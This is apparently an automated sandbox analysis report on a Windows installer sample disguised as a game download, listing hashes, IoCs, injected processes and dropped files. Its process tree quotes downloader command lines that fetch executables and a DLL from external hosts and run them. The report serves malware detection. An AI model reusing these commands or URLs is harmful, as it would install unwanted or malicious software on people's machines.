5ce2685169c772ac50c61f4aa5aaad2cece546b7705e95e37b8377f71f341c7a

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
04/02/2024, 20:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9016f356f8dd0ea8fc92857b2a499cdb.exe
Size

492KB
MD5

9016f356f8dd0ea8fc92857b2a499cdb
SHA1

63ec8834c74b998e443c6e63b4d1b0bd77387af9
SHA256

5ce2685169c772ac50c61f4aa5aaad2cece546b7705e95e37b8377f71f341c7a
SHA512

04d18a318b4ceba0486f0de5cf4c94551038e9cd831805ab72ac88afd622110504e11c7258262ed22ee4631114b9877f180376150cf797232aef4e107ecfc3b6
SSDEEP

6144:3uk4fqjzbQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:x4fw36peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2036	downloaderSTUB.exe
1936	downloaderSTUB.exe
1104	downloaderSTUB.exe
2468	downloaderDDLR.exe
624	downloaderOFFER0.exe
512	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
1936	downloaderSTUB.exe
2036	downloaderSTUB.exe
1104	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe
1936	downloaderSTUB.exe
2036	downloaderSTUB.exe
1104	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe
1936	downloaderSTUB.exe
2036	downloaderSTUB.exe
1104	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe
1936	downloaderSTUB.exe
2036	downloaderSTUB.exe
1104	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe
1936	downloaderSTUB.exe
1104	downloaderSTUB.exe
2036	downloaderSTUB.exe
624	downloaderOFFER0.exe
2468	downloaderDDLR.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 6 IoCs

installer

resource	yara_rule
behavioral2/files/0x0006000000023202-7.dat	nsis_installer_1
behavioral2/files/0x0006000000023202-7.dat	nsis_installer_2
behavioral2/files/0x0006000000023202-13.dat	nsis_installer_1
behavioral2/files/0x0006000000023202-13.dat	nsis_installer_2
behavioral2/files/0x0006000000023201-15.dat	nsis_installer_1
behavioral2/files/0x0006000000023201-15.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1516 wrote to memory of 2036	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	87
PID 1516 wrote to memory of 2036	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	87
PID 1516 wrote to memory of 2036	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	87
PID 1516 wrote to memory of 1936	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	93
PID 1516 wrote to memory of 1936	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	93
PID 1516 wrote to memory of 1936	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	93
PID 1516 wrote to memory of 1104	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	92
PID 1516 wrote to memory of 1104	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	92
PID 1516 wrote to memory of 1104	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	92
PID 1516 wrote to memory of 2468	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	91
PID 1516 wrote to memory of 2468	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	91
PID 1516 wrote to memory of 2468	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	91
PID 1516 wrote to memory of 624	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	90
PID 1516 wrote to memory of 624	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	90
PID 1516 wrote to memory of 624	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	90
PID 1516 wrote to memory of 512	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	88
PID 1516 wrote to memory of 512	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	88
PID 1516 wrote to memory of 512	1516	9016f356f8dd0ea8fc92857b2a499cdb.exe	88

C:\Users\Admin\AppData\Local\Temp\9016f356f8dd0ea8fc92857b2a499cdb.exe
"C:\Users\Admin\AppData\Local\Temp\9016f356f8dd0ea8fc92857b2a499cdb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2036
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe 0 "Hearts of iron 2 doomsday - armagedon[pl] rar" "Download"
  2⤵
  - Executes dropped EXE
  PID:512
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:624
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2468
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1104
- C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderDDLR.exe

Filesize
44KB

MD5
d011dc6fd4ced8d18907dcd357694845

SHA1
edf0572421c8a4bc14e03380e7378e924af0bd34

SHA256
c45202c2282e64c7f7fc68b9381b98c17245968fdb4b2f45c862589d008b76f4

SHA512
e501325bc82d664a9c9400a25c0a62e503edb38c44cec0f195a152f80550eba9478efbe915c4b2b88f33bbb4cd30f7ea7bf20ae9bc52fd5118e975164b4c119b

Download Submit
C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe

Filesize
14KB

MD5
4b2ba4edeb3546060d91eaa689f8c4e0

SHA1
036c15d1fbd441616e4427b37a9191e81f62532d

SHA256
b8a9bbc6e954a5f852bdb2871de3eb11319ea9fcebcf3c8320f76b7fa5720845

SHA512
e124972265220eda69b735f171a5019abd65d8f6410d34caaf4d3424a5a04ee2d35fa2dcf3b91f2619a93bb58b118dc92928a4030d531b9ff9424ccee8377d03

Download Submit
C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\downloaderSTUB.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe

Filesize
72KB

MD5
6a73df3335b4d955f857ebfbcefc82bb

SHA1
aea61ade94539c312790f509db51302c2ccbc417

SHA256
2cc240c23a1b251be2887e153e153e16554c06913912535c8d15eb31548b09d8

SHA512
c12435eb499c53ce721e5c62b1cb394df9580018d7941c3d9305058aee9cdb7c7053e5a99a4c17d3cf5723856b36d8ac42c04458db6ff74c103777183a6babbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\31e9d6bf3bddde88bd8187eff1fdf033\preinstaller.exe

Filesize
47KB

MD5
2ba481fe8f79c5d5e477ab86be4d6708

SHA1
be3b11e94c28d07c5561131fe542a74cf4eb9a46

SHA256
a7cc0c921f4e4d15939058f22145a5e8b3e2d0ced744e39f0e55039dcf658873

SHA512
f1fa695297daedacf21e3cd6f3bcd2119bcb23d4180dbd98f556d81682dcdd65732a66d763a24fc099a8a7a2754168cfb7c358c19edb6843cb589d538c807db6

Download Submit
C:\Users\Admin\AppData\Local\Temp\nso5015.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/512-46-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/1516-45-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download